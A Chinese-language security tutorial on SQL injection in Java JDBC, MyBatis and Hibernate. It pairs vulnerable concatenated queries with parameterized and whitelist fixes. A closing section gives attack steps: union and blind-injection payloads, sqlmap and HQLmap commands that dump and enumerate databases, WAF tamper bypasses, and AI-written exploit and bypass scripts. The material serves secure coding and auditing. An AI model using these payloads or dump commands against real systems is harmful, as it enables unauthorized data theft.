Java 持久层的 SQL 注入全景

本次分享主要围绕常见 JavaWeb 持久层中的 SQL 注入漏洞展开。首先介绍持久层与 SQL 注入的基础概念,以及预编译和参数绑定两个核心机制,弄清楚预编译为什么能从原理上防住 SQL 注入;随后以原生 JDBC 为起点,梳理未预编译直接拼接、表名/列名等不能预编译的关键字、以及 like/in 这类为图方便而放弃预编译的三大典型成因;再分别结合 MyBatis 的 ${} 与 #{}、Hibernate 的原生 SQL 与 HQL,逐一给出对应的注入场景、审计要点与安全写法;最后从攻击者视角出发,介绍手工验证注入点、sqlmap/HQLmap 自动化利用以及借助 AI 辅助分析编写脚本等常见攻击手段。

0x01 预备知识

什么是持久层

持久层(Persistence Layer)是 Java 应用中专门负责和数据库打交道的一层。业务代码不直接写一堆数据库连接的细节,而是把「增删改查」的活儿交给持久层,由它把请求翻译成 SQL 发给数据库,再把结果拿回来。

[ 用户请求 ] --> [ 业务层 ] --> [ 持久层 ] --> [ 数据库 ]
                              (拼/发 SQL)      (执行 SQL)

常见的持久层实现有 JDBC、MyBatis、Hibernate。

什么是 SQL 注入

SQL 注入:当用户输入被直接拼进 SQL 语句里,输入中通过特殊字符「逃」出了数据的身份,被数据库当成了 SQL 语法来执行——本该是「数据」的东西,变成了数据库「指令」,这就是SQL注入。

正常:  SELECT * FROM users WHERE name = '张三'
                                         └── 数据

注入:  输入  张三' OR '1'='1
        SELECT * FROM users WHERE name = '张三' OR '1'='1'
                                         └────────┬───────┘
                                          引号被逃逸,后半段成了 SQL 逻辑

0x02 预编译和参数绑定

在介绍持久层SQL注入前,我们先来了解两个重要概念:预编译和参数绑定。

数据库预编译

谈到预编译操作,其实很多人认为是持久层预编译。其实持久层的预编译操作是依托于数据库预编译的,如果数据库支持预编译,持久层才能进行预编译处理。

以常见的MySQL为例,从以下两点来理解MySQL预编译:

  1. 所谓预编译其实是先向数据库提交带占位符的 SQL 模板,并为该占位符指定一个 key,MySQL 先将 SQL 模板编译好,执行时再拿着 key 对应的参数替换占位符。
  2. 预编译的操作会将SQL语句结构和参数数据完全分离开来,即SQL语句的业务功能在预编译阶段就已确定,后续参数替换占位符时,数据库只会将其当作单纯的业务数据来处理,并不会赋予其真正的SQL含义

下面两组SQL是用数据库预编译来处理字符型和数字型参数:

# 字符串型的占位符和参数
prepare prepare_query from 'select * from student where name = ?'; # 提交带有占位符的参数化SQL模板
set @username = 'Alice'; # 设置一个参数key
execute prepare_query using @username; # 指定SQL模板中占位符对应的key,让MySQL去替换执行
# select * from student where name = 'Alice'; 	最终执行的SQL语句

# 数字型的占位符和参数
prepare prepare_query from 'select * from student where age = ?'; # 提交带有占位符的参数化 SQL,可理解为SQL模板
set @agedata = 20; # 设置一个参数
execute prepare_query using @agedata; # 指定参数化SQL的key和参数,让MySQL去替换执行
# select * from student where age = 20; 	最终执行的SQL语句

预编译为什么能防止SQL注入

由上面提到的预编译相关知识可知,在预编译时数据库会把SQL语句的业务功能给确定好,后面运行时即使包含SQL语句的Payload也只会被当作业务数据来处理。那么数据库预编译到底是怎么实现的呢?

列举一个很常见的例子:SQL注入下我们往往需要逃逸出单引号来进行注入,比如

String userInput = "Alice' AND '1'='1";  // 攻击者输入
String query = "SELECT * FROM student WHERE name = '" + userInput + "';";

// 最终生成的 SQL 语句:
System.out.println(query);  // SELECT * FROM student WHERE name = 'Alice' AND '1'='1';

如果我们将上述SQL语句进行预编译,然后打印SQL语句看看会是什么样的

SET GLOBAL general_log = 'ON';
SET GLOBAL log_output = 'FILE';  -- 使用 'FILE' 输出到文件
SHOW VARIABLES LIKE 'general_log_file';

prepare prepare_query_inject from 'select * from student where name = ?'; -- 提交带有占位符的参数化 SQL,可理解为SQL模板
set @username = "Alice' AND 1=1 "; -- 设置一个参数
execute prepare_query_inject using @username; -- 指定参数化SQL的key和参数,让MySQL去替换执行

查看SQL执行日志,可以看到数据库将SQL Payload携带的单引号进行转义了,使其成为单纯的字符串。这也就解释了预编译为什么能防止SQL注入。

参数绑定和预编译

参数绑定的概念常出现在MybatisPlus,Hibernate持久层中。那参数绑定和预编译是不是有关系呢?

  • MyBatisPlus 参数绑定是:占位符{0},{1}.....
  • Hibernate 参数绑定:setParameter,setProperties...

其实MybatisPlus和Hibernate中的参数绑定也就是预编译的操作。

0x03 原生 JDBC 的SQL注入

JDBC存在两种执行SQL语句的方式:Statement 与 PreparedStatement。PreparedStatement 会对SQL语句进行预编译,Statement 则直接执行拼接好的SQL语句。

通常情况下Java代码产品中可以造成SQL注入主要是分为以下三种原因:

  1. 未预编译SQL语句直接拼接导致SQL注入
  2. 不能进行预编译关键字但没有进行合法处理导致SQL注入
  3. 为了代码灵活性而忽视安全性导致SQL注入

未预编译Statement拼接导致SQL注入

Class.forName("com.mysql.cj.jdbc.Driver");
Connection con = DriverManager.getConnection(url, user, password);
Statement statement = con.createStatement();   
String sql = "select * from users where username = '" + username + "'"; // 存在SQL注入
ResultSet resultSet = statement.executeQuery(sql);

不能进行预编译关键字但没有进行合法处理导致SQL注入

在做SQL操作时有些关键字不能进行预编译,它们和业务强相关。所以在使用这些关键字时如果上层调用栈没有对SQL参数进行合法处理将会导致SQL注入

from 表名查询不能预编译导致SQL注入

from表名查询不能进行预编译,因为表名是 SQL 语句结构的一部分,归属于模板部分,而不是数据值。

// 错误的用法:无法将表名作为参数绑定,强制使用对表名预编译程序将报错
String tableName = "users";
String sql = "SELECT * FROM ? WHERE username = 'Alice'";
PreparedStatement preparedStatement = con.prepareStatement(sql);
preparedStatement.setString(1, tableName);  // 这行会导致错误
ResultSet resultSet = preparedStatement.executeQuery();

// 由于不能预编译所以拼接的写法就可能存在漏洞
String sql = "SELECT * FROM "+ tableName +" WHERE username = 'Alice'"; // 存在SQL注入
Statement statement = con.createStatement();   
ResultSet resultSet = statement.executeQuery(sql);

防御SQL注入策略:依据业务进行定制化白名单

// 白名单表名
Set<String> whiteListTableNames = new HashSet<>(Arrays.asList("table1", "table2", "table3"));
String tableName = "yourTable"; // 用户输入
if (!whiteListTableNames.contains(tableName)) {
    throw new IllegalArgumentException("Invalid table name.");
}
String sql = "SELECT * FROM "+ tableName +" WHERE username = 'Alice'";
Statement statement = con.createStatement();   
ResultSet resultSet = statement.executeQuery(sql);

order by 排序查询不能预编译导致SQL注入

ORDER BY 用于对查询出的内容按列名进行排序。它和from类似也是业务强关联,这部分也不能进行预编译。

// 不可以预编译列名到 ORDER BY 子句,程序会报错
String orderByColumn = "username";
String sql = "SELECT * FROM users ORDER BY ?";
PreparedStatement preparedStatement = con.prepareStatement(sql);
preparedStatement.setString(1, orderByColumn);  // 这行会导致错误从而抛出异常
ResultSet resultSet = preparedStatement.executeQuery();

// 正常拼接的写法就可能存在漏洞
String sql = "SELECT * FROM users ORDER BY " + orderByColumn; // 存在SQL注入
Statement statement = con.createStatement();  
ResultSet resultSet = statement.executeQuery(sql); 

防御SQL注入策略:依据业务进行定制化白名单

// 白名单列名
Set<String> whiteListColumnNames = new HashSet<>(Arrays.asList("column1", "column2", "column3"));
String columnName = "yourColumn"; // 用户输入
if (!whiteListColumnNames.contains(columnName)) {
    throw new IllegalArgumentException("Invalid column name.");
}
String sql = "SELECT * FROM users ORDER BY " + columnName;
Statement statement = con.createStatement();  
ResultSet resultSet = statement.executeQuery(sql); 

为了代码灵活性而忽视安全性导致SQL注入

有些关键字(like,in)可以进行预编译,但是开发者会考虑代码的简洁和灵活性而忽视安全问题从而导致SQL注入

IN 关键字未预编译导致SQL注入

IN 关键字用于在 WHERE 子句中测试一个值是否在一组指定的值之中。它是一种简便的方法来过滤数据的关键字,开发者在使用IN时候会考虑代码的简洁性从而忽视安全性

// 不安全的写法
String sql = "delete from users where id in(" +delIds+ ")"; // 存在SQL注入
Statement statement = con.createStatement(); 
statement.execute(sql);

安全的写法:将传入的参数以英文,来分割并逐个用占位符预编译

List<String> usernames = Arrays.asList("alice", "bob", "charlie");
// 构建SQL查询,逐个使用 ? 占位符进行占位
String sql = "SELECT * FROM users WHERE username IN ("
    + String.join(",", Collections.nCopies(usernames.size(), "?")) + ")";
PreparedStatement preparedStatement = con.prepareStatement(sql);
// 设置参数
for (int i = 0; i < usernames.size(); i++) {
    preparedStatement.setString(i + 1, usernames.get(i));}
ResultSet resultSet = preparedStatement.executeQuery();

like 关键字未预编译导致SQL注入

like 关键字表示模糊查询,该关键字支持预编译。但是开发者为了方便可能会忽略安全性

// 不安全的写法
String searchPattern = "%smith%";  // 用户输入,可能是恶意的
String sql = "SELECT * FROM users WHERE username LIKE '" + searchPattern + "'"; // 存在SQL注入
Statement statement = con.createStatement();
ResultSet resultSet = statement.executeQuery(sql);

安全的写法:将like关键字处的数据进行预编译

String searchPattern = "%Alice%";
// 预编译构建 SQL 查询
String sql = "SELECT * FROM student WHERE name LIKE ?";
PreparedStatement preparedStatement = con.prepareStatement(sql);
preparedStatement.setString(1, searchPattern);
ResultSet resultSet = preparedStatement.executeQuery();

0x04 Mybatis 的SQL注入

MyBatis 本质是对原生 JDBC 的高级封装,它是知名的第三方框架——把繁琐的连接管理、SQL 拼接、结果集映射都交给框架,开发者只需在 XML 或注解里写 SQL。正因如此,它的注入成因和原生 JDBC 完全一致,区别只在写法:

  • #{}:预编译占位符,相当于 JDBC 的 ?,安全。
  • ${}:直接字符串拼接,相当于 JDBC 的 +,用户可控即注入。

所以审计 MyBatis 只需盯住一个符号:${}。下表把常见注入点和对应的安全写法一并列出:

场景

不安全写法(${} 拼接)

安全写法

能否预编译

普通条件值

name = '${username}'

name = #{username}

✅ 用 #{}

from 表名

FROM ${tableName}

#{} 报错,须白名单校验表名

❌ 白名单防护

order by 列名

ORDER BY ${sortColumn}

#{} 报错,须白名单校验列名

❌ 白名单防护

IN 多值

in (${usernames})

foreach 循环 + #{} 占位

✅ foreach

like 模糊

like '%${username}%'

like concat('%', #{username}, '%')

✅ concat+#{}

下面两个最容易写错的安全写法单独给出代码:

<!-- IN 多值:用 foreach 展开为多个 #{} 占位符 -->
<select id="getUserFromList" resultType="user.NewUserDO">
    select * from user_table where username in
        <foreach collection="list" item="username" open="(" separator="," close=")">
            #{username}
        </foreach>
</select>

<!-- like 模糊:用 concat 拼通配符,参数仍走 #{} 预编译 -->
<select id="getUser" resultType="user.NewUserDO">
    select * from user_table where username like concat('%', #{username}, '%')
</select>

0x05 Hibernate 的HQL和SQL注入

Hibernate介绍:ORM 框架,支持原生 SQL 和自有的 HQL(面向对象的查询语言)。注入的根因同样是拼接用户输入,审计时搜索 createQuery() / createSQLQuery() / createNativeQuery() / createNamedQuery(),检查周围是否有字符串拼接。修复手段统一为 setParameter() / setProperties()。

原生 SQL

函数

不安全写法

安全写法

createSQLQuery(H5 废弃)

直接拼 "WHERE name LIKE '%" + input + "%'"

:namedParam 占位 + setParameter("namedParam", value)

createNativeQuery

同上

:namedParam 占位 + setProperties(map)

createNamedQuery(@NamedNativeQuery 模式)

注解里写死占位符再 replace()

注解里用 :param,代码里 setParameter

其中 createNamedQuery 注解里写死占位符再 replace() 的典型:

// 不安全:注解里写死 "%PLACEHOLDER%",代码里用 replace 换掉
@NamedNativeQuery(
    name = "Student.findByBook",
    query = "SELECT * FROM student WHERE book LIKE '%PLACEHOLDER%'"
)
// 然后业务代码里:
String queryStr = em.createNamedQuery("Student.findByBook")
    .unwrap(Query.class).getQueryString()
    .replace("PLACEHOLDER", book);  // 用户输入直接拼进去了 → 注入

// 安全:注解里用 :book 命名占位,代码里 setParameter
@NamedNativeQuery(
    name = "Student.findByBook",
    query = "SELECT * FROM student WHERE book LIKE :book"
)
TypedQuery<Student> q = em.createNamedQuery("Student.findByBook", Student.class);
q.setParameter("book", "%" + book + "%");  // 参数绑定,安全

本质一句话:凡是入参位置,一律用 :param 命名占位 + setParameter,不拼字符串。

HQL 简介

HQL(Hibernate Query Language)是 Hibernate 独有的面向对象查询语言——查的是 Java 实体类而非数据库表。引擎先把 HQL 翻译成 SQL,再交给数据库执行。因为多了一层翻译,HQL 注入自带诸多限制,可利用空间极小,本质可以理解为自带一定防护:

  • 查询对象:FROM Student,Student 是实体类名而非表名
  • union:5.x 不支持,6.x 起支持但需映射关系
  • 注释符:/**/ 仅在 6.x 支持,-- 和 # 所有版本都不支持
  • 子查询:可用,但仅限于已映射的表和字段
  • 延时函数:不支持

注入与防御示例——和原生 SQL 同理,区别只是语法不同:createQuery就是Hibernate中HQL查询语句

// 不安全
String hql = "SELECT s FROM Student s WHERE s.name = '" + name + "'";
Query query = entityManager.createQuery(hql, Student.class);

// 安全
String hql = "SELECT s FROM Student s WHERE s.name = :name";
Query query = entityManager.createQuery(hql, Student.class);
query.setParameter("name", name);

@NamedQuery 同理:注解里用 :param,代码里 setParameter,不要用 replace() 换占位符。

0x06 SQL注入 Attack

前面几节讲了注入的成因和审计方法,这一节从攻击者视角简单说说拿到注入点后怎么验证和利用。

手工验证

拿到可疑注入点后,先用手工方式快速确认:

  1. 闭合探测:参数后追加单引号 ' 观察是否报数据库错误(报错说明输入进入了 SQL 语法结构);再追加 '' 看是否恢复正常,以判断字符型还是数字型注入。
  2. 语义验证:数字型用 and 1=1 / and 1=2 对比页面差异;字符型用 ' and '1'='1 / ' and '1'='2。
  3. order by 判断列数:order by 1..N 二分找到报错边界,确定列数后构造 union。
  4. 回显验证:union 查询时在可控列放置计算标记,页面出现对应 md5 值即注入成功:
?username=nonexist' union select md5('sqli_proof'),2,3-- 
-- 页面若出现 d30ac10482d7e7528e9d472b66b05f7f,即证明可控

无回显时再换报错注入(extractvalue / updatexml)、布尔盲注、时间盲注(sleep(5) 观察响应时长)。

瑞士军刀:sqlmap梭哈

确认注入点后交给 sqlmap 自动化利用:

# GET 注入
sqlmap -u "http://target/api/user?id=1" --batch --dbs

# POST 注入:Burp 抓包保存为 req.txt,从文件加载
sqlmap -r req.txt --batch --current-db

# 指定注入参数、提高探测等级
sqlmap -r req.txt -p id --level 3 --risk 2 --dbs

# 拖库
sqlmap -r req.txt -p id -D sqli_db --tables
sqlmap -r req.txt -p id -D sqli_db -T users --dump

被 WAF 拦截时用 --tamper 挂绕过脚本,Java + MySQL 环境常用:

sqlmap -r req.txt --tamper=space2comment,randomcase --dbs

HQL 注入专用:HQLmap

注意:sqlmap 对 HQL 注入支持有限。回顾 0x05 的 HQL 限制——不支持 --、# 注释符,无延时函数,union 受映射约束——sqlmap 的常规 payload 大多会失效。这种情况改用 HQL 注入专用工具 HQLmap:

# 探测注入点
python HQLmap.py --url="http://target/search?q=alice" --param=q --check

# 枚举表、字段并拖数据
python HQLmap.py --url="http://target/search?q=alice" --param=q --T=Student --columns --dump

AI 辅助分析编写脚本

AI 是提升注入效率的乘法器,常见用法:

  1. 代码审计:把可疑的 Mapper/DAO 丢给 AI,快速定位 ${} 拼接点、梳理污点数据从入口到 sink 的调用链
  2. 编写 PoC 脚本:描述注入点(参数位置、闭合方式、回显情况),让 AI 生成 Python requests 验证脚本
  3. 编写绕过脚本:把被拦截的 payload 和 WAF 响应喂给 AI,让它分析特征并编写/调整 sqlmap tamper 脚本
  4. 盲注加速:让 AI 写布尔盲注二分脚本、时间盲注并发脚本,替代手工逐字符猜解